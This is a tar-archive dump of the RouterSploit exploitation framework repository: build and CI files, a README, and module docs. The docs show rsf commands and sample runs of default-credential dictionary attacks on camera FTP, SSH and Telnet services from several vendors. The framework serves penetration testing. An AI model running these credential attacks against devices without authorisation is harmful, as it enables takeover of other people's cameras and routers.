pax_global_header00006660000000000000000000000064140075062360014515gustar00rootroot0000000000000052 comment=3fd394637f5566c4cf6369eecae08c4d27f93cda routersploit-master/000077500000000000000000000000001400750623600151255ustar00rootroot00000000000000routersploit-master/.dockerignore000066400000000000000000000000721400750623600176000ustar00rootroot00000000000000.idea/ .travis/ README.md LICENSE .travis.yml *.pyc *.logroutersploit-master/.github/000077500000000000000000000000001400750623600164655ustar00rootroot00000000000000routersploit-master/.github/ISSUE_TEMPLATE.md000066400000000000000000000011161400750623600211710ustar00rootroot00000000000000! ANY INCOMPLETE REPORT WILL BE CLOSED RIGHT AWAY ! ## Steps to Reproduce (for bugs) 1. 2. 3. 4. ## Your Environment * RouterSploit Version used: * Operating System and version: * Python Version: ( `python3 --version` ) * Python Environment: ( `python3 -m pip freeze` ) ## Current Behavior * If describing a bug, tell us what happens instead of the expected behavior * If suggesting a change/improvement, tell us how it works right now ## Expected Behavior * If you're describing a bug, tell us what should happen * If you're suggesting a change/improvement, tell us how it should work routersploit-master/.github/PULL_REQUEST_TEMPLATE.md000066400000000000000000000012651400750623600222720ustar00rootroot00000000000000## Status **READY/IN DEVELOPMENT/HOLD** ## Description Describe what is changed by your Pull Request. If this PR is related to the open issue (bug/feature/new module) please attach issue number. ## Verification Provide steps to test or reproduce the PR. 1. Start `./rsf.py` 2. `use exploits/routers/dlink/dsl_2750b_rce` 3. `set target 192.168.1.1` 4. `run` 5. ... ## Checklist - [ ] Write module/feature - [ ] Write tests ([Example](https://github.com/threat9/routersploit/blob/master/tests/exploits/routers/dlink/test_dsl_2750b_rce.py)) - [ ] Document how it works ([Example](https://github.com/threat9/routersploit/blob/master/docs/modules/exploits/routers/dlink/dsl_2750b_rce.md)) routersploit-master/.gitignore000066400000000000000000000015701400750623600171200ustar00rootroot00000000000000# IntelliJ project files .idea out gen # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] *$py.class # C extensions *.so # Distribution / packaging .Python env/ build/ develop-eggs/ dist/ downloads/ eggs/ .eggs/ lib64/ parts/ sdist/ var/ *.egg-info/ .installed.cfg *.egg # PyInstaller # Usually these files are written by a python script from a template # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest *.spec # Installer logs pip-log.txt pip-delete-this-directory.txt # Unit test / coverage reports htmlcov/ .tox/ .coverage .coverage.* .cache .pytest_cache nosetests.xml coverage.xml *,cover # Translations *.mo *.pot # Django stuff: *.log # Sphinx documentation docs/_build/ # PyBuilder target/ # VS Code .vscode # virtualenv venv/ # macOS .DS_Store .DS_Store? # vim *.swp *.swo # Pipenv files Pipfile Pipfile.lock routersploit-master/.travis.yml000066400000000000000000000003241400750623600172350ustar00rootroot00000000000000language: python matrix: include: - os: linux python: 3.6 - os: osx language: generic env: PYTHON_VERSION=3.6.1 install: - "./.travis/install.sh" script: - "./.travis/run.sh" routersploit-master/.travis/000077500000000000000000000000001400750623600165135ustar00rootroot00000000000000routersploit-master/.travis/install.sh000077500000000000000000000007761400750623600205320ustar00rootroot00000000000000#!/bin/bash set -e set -x if [[ "$(uname -s)" == 'Darwin' ]]; then sw_vers git clone --depth 1 https://github.com/yyuu/pyenv.git ~/.pyenv PYENV_ROOT="$HOME/.pyenv" PATH="$PYENV_ROOT/bin:$PATH" eval "$(pyenv init -)" pyenv install $PYTHON_VERSION pyenv global $PYTHON_VERSION pyenv rehash pip install --user virtualenv python -m virtualenv ~/.venv source ~/.venv/bin/activate fi python -m pip install --upgrade pip python -m pip install -r requirements-dev.txt routersploit-master/.travis/run.sh000077500000000000000000000003231400750623600176540ustar00rootroot00000000000000#!/bin/bash set -e set -x if [[ "$(uname -s)" == "Darwin" ]]; then PYENV_ROOT="$HOME/.pyenv" PATH="$PYENV_ROOT/bin:$PATH" eval "$(pyenv init -)" source ~/.venv/bin/activate fi make lint tests routersploit-master/CONTRIBUTING.md000066400000000000000000000032561400750623600173640ustar00rootroot00000000000000# Contribution Guidelines There are many ways to contribute to RouterSploit project, and the routersploit team is grateful for all contributions. This overview summarizes the most important steps to get you started as a contributor. * Report bugs to the routersploit issue tracker. * Make suggestions for changes, updates, or new features to the routersploit issue tracker. * Contribute bug fixes, example code, documentation, or tutorials to routersploit. * Contribute new features to routersploit. ## Bug reports When submitting bug reports, please consider providing the following information: * Reproduction steps: step by step description to reproduce the problem. * Expected: Describe the behavior you expect. * Actual: Describe the behavior you see. ## Testing It is hard to test modules in all possible scenarios. If you would like to help: 1. Check what device you have - identify vendor and version. 2. Check if routersploit contains exploits for the device you posses. 3. If exploit does not work but it should, check "show info" for more information. References should provide you with links to proof of concept exploits. Example: ``` References: - https://www.exploit-db.com/exploits/24975/ ``` 4. Try to use proof of concept exploit and check if it works properly. If it does, feel free to create new issue bug with explanation that the routersploit's module does not work properly. ## Development * [Creating exploit module](https://github.com/reverse-shell/routersploit/wiki/Creating-Exploit) * [Creating creds module](https://github.com/reverse-shell/routersploit/wiki/Creating-Creds) * [Creating scanner module](https://github.com/reverse-shell/routersploit/wiki/Creating-Scanner) routersploit-master/Dockerfile000066400000000000000000000002521400750623600171160ustar00rootroot00000000000000FROM python:3.6 COPY requirements.txt /tmp/requirements.txt RUN python -m pip install -r /tmp/requirements.txt WORKDIR /routersploit COPY . . CMD ["python", "rsf.py"] routersploit-master/LICENSE000066400000000000000000000034641400750623600161410ustar00rootroot00000000000000Copyright 2018, The RouterSploit Framework (RSF) by Threat9 All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of RouterSploit Framework nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. The above licensing was taken from the BSD licensing and is applied to RouterSploit Framework as well. Note that the RouterSploit Framework is provided as is, and is a royalty free open-source application. Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit. routersploit-master/MANIFEST.in000066400000000000000000000002571400750623600166670ustar00rootroot00000000000000recursive-include routersploit/resources/ssh_keys *.json *.key recursive-include routersploit/resources/vendors *.dat recursive-include routersploit/resources/wordlists *.txt routersploit-master/Makefile000066400000000000000000000021261400750623600165660ustar00rootroot00000000000000.PHONY: build run test lint lint-modules clean prune help DIRECTORY=. EXCLUDED=.git,rsf.py RSF_IMAGE=routersploit FLAKE8_IGNORED_RULES=E501,F405,F403,W504 build: docker build -t $(RSF_IMAGE) . run: docker run -it --rm $(RSF_IMAGE) lint: python3 -m flake8 --exclude=$(EXCLUDED) --ignore=$(FLAKE8_IGNORED_RULES) $(DIRECTORY) tests: clean python3 -m pytest -n16 tests/core/ tests/test_exploit_scenarios.py tests/test_module_info.py python3 -m pytest -n16 tests/exploits/ tests/creds/ tests/encoders/ tests/generic/ tests/payloads/ clean: find . -name '*.pyc' -exec rm -f {} + find . -name '*.pyo' -exec rm -f {} + find . -name '*~' -exec rm -f {} + prune: docker images -q -f dangling=true | xargs docker rmi docker ps -q -f status=exited | xargs docker rm help: @echo " run" @echo " Run Routersploit in docker container" @echo " lint" @echo " Check style with flake8." @echo " test" @echo " Run test suite" @echo " clean" @echo " Remove python artifacts." @echo " prune" @echo " Remove dangling docker images and exited containers." routersploit-master/README.md000066400000000000000000000067051400750623600164140ustar00rootroot00000000000000# RouterSploit - Exploitation Framework for Embedded Devices [![Python 3.6](https://img.shields.io/badge/Python-3.6-yellow.svg)](http://www.python.org/download/) [![Build Status](https://travis-ci.org/threat9/routersploit.svg?branch=master)](https://travis-ci.org/threat9/routersploit) The RouterSploit Framework is an open-source exploitation framework dedicated to embedded devices. [![asciicast](https://asciinema.org/a/180370.png)](https://asciinema.org/a/180370) It consists of various modules that aids penetration testing operations: * exploits - modules that take advantage of identified vulnerabilities * creds - modules designed to test credentials against network services * scanners - modules that check if a target is vulnerable to any exploit * payloads - modules that are responsible for generating payloads for various architectures and injection points * generic - modules that perform generic attacks # Installation ## Requirements Required: * future * requests * paramiko * pysnmp * pycrypto Optional: * bluepy - bluetooth low energy ## Installation on Kali Linux ``` apt-get install python3-pip git clone https://www.github.com/threat9/routersploit cd routersploit python3 -m pip install -r requirements.txt python3 rsf.py ``` Bluetooth Low Energy support: ``` apt-get install libglib2.0-dev python3 -m pip install bluepy python3 rsf.py ``` ## Installation on Ubuntu 20.04 ``` sudo apt-get install git python3-pip git clone https://github.com/threat9/routersploit cd routersploit python3 -m pip install -r requirements.txt python3 rsf.py ``` Bluetooth Low Enery support: ``` sudo apt-get install libglib2.0-dev python3 -m pip install bluepy python3 rsf.py ``` ## Installation on Ubuntu 18.04 & 17.10 ``` sudo add-apt-repository universe sudo apt-get install git python3-pip git clone https://www.github.com/threat9/routersploit cd routersploit python3 -m pip install setuptools python3 -m pip install -r requirements.txt python3 rsf.py ``` Bluetooth Low Energy support: ``` apt-get install libglib2.0-dev python3 -m pip install bluepy python3 rsf.py ``` ## Installation on OSX ``` git clone https://www.github.com/threat9/routersploit cd routersploit sudo python3 -m pip install -r requirements.txt python3 rsf.py ``` ## Running on Docker ``` git clone https://www.github.com/threat9/routersploit cd routersploit docker build -t routersploit . docker run -it --rm routersploit ``` # Update Update RouterSploit Framework often. The project is under heavy development and new modules are shipped almost every day. ``` cd routersploit git pull ``` # Build your own To our surprise people started to fork [routersploit](https://github.com/threat9/routersploit) not because they were interested in the security of embedded devices but simply because they want to leverage our interactive shell logic and build their own tools using similar concept. All these years they must have said: _"There must be a better way!"_ and they were completely right, the better way is called [_Riposte_](https://github.com/fwkz/riposte). [_Riposte_](https://github.com/fwkz/riposte) allows you to easily wrap your application inside a tailored interactive shell. Common chores regarding building REPLs was factored out and being taken care of so you can really focus on specific domain logic of your application. # License The RouterSploit Framework is under a BSD license. Please see [LICENSE](LICENSE) for more details. # Acknowledgments * [riposte](https://github.com/fwkz/riposte) routersploit-master/docs/000077500000000000000000000000001400750623600160555ustar00rootroot00000000000000routersploit-master/docs/modules/000077500000000000000000000000001400750623600175255ustar00rootroot00000000000000routersploit-master/docs/modules/creds/000077500000000000000000000000001400750623600206255ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/000077500000000000000000000000001400750623600222405ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/acti/000077500000000000000000000000001400750623600231605ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/acti/ftp_default_creds.md000066400000000000000000000024561400750623600271660ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Acti Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/acti/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/acti/ftp_default_creds rsf (Acti Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Acti Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/acti/ssh_default_creds.md000066400000000000000000000025311400750623600271640ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Acti Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/acti/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/acti/ssh_default_creds rsf (Acti Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Acti Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/acti/telnet_default_creds.md000066400000000000000000000025611400750623600276650ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Acti Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/acti/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/acti/telnet_default_creds rsf (Acti Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Acti Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/american_dynamics/000077500000000000000000000000001400750623600257065ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/american_dynamics/ftp_default_creds.md000066400000000000000000000025571400750623600317160ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against American Dynamics Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/american_dynamics/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/american_dynamics/ftp_default_creds rsf (American Dynamics Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (American Dynamics Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/american_dynamics/ssh_default_creds.md000066400000000000000000000026321400750623600317140ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against American Dynamics Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/american_dynamics/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/american_dynamics/ssh_default_creds rsf (American Dynamics Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (American Dynamics Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/american_dynamics/telnet_default_creds.md000066400000000000000000000026621400750623600324150ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against American Dynamics Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/american_dynamics/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/american_dynamics/telnet_default_creds rsf (American Dynamics Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (American Dynamics Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/arecont/000077500000000000000000000000001400750623600236735ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/arecont/ftp_default_creds.md000066400000000000000000000024751400750623600277020ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Arecont Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/arecont/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/arecont/ftp_default_creds rsf (Arecont Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Arecont Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/arecont/ssh_default_creds.md000066400000000000000000000025501400750623600277000ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Arecont Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/arecont/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/arecont/ssh_default_creds rsf (Arecont Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Arecont Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/arecont/telnet_default_creds.md000066400000000000000000000026001400750623600303720ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Arecont Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/arecont/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/arecont/telnet_default_creds rsf (Arecont Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Arecont Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/avigilon/000077500000000000000000000000001400750623600240505ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/avigilon/ftp_default_creds.md000066400000000000000000000025021400750623600300460ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Avigilon Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/avigilon/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/avigilon/ftp_default_creds rsf (Avigilon Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Avigilon Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/avigilon/ssh_default_creds.md000066400000000000000000000025551400750623600300620ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Avigilon Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/avigilon/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/avigilon/ssh_default_creds rsf (Avigilon Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Avigilon Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/avigilon/telnet_default_creds.md000066400000000000000000000026051400750623600305540ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Avigilon Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/avigilon/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/avigilon/telnet_default_creds rsf (Avigilon Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Avigilon Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/avtech/000077500000000000000000000000001400750623600235125ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/avtech/ftp_default_creds.md000066400000000000000000000024701400750623600275140ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Avtech Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/avtech/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/avtech/ftp_default_creds rsf (Avtech Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Avtech Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/avtech/ssh_default_creds.md000066400000000000000000000025431400750623600275210ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Avtech Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/avtech/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/avtech/ssh_default_creds rsf (Avtech Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Avtech Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/avtech/telnet_default_creds.md000066400000000000000000000025551400750623600302220ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Avtech Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/avtech/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/avtech/telnet_default_creds rsf (Avtech Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Avtech Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` 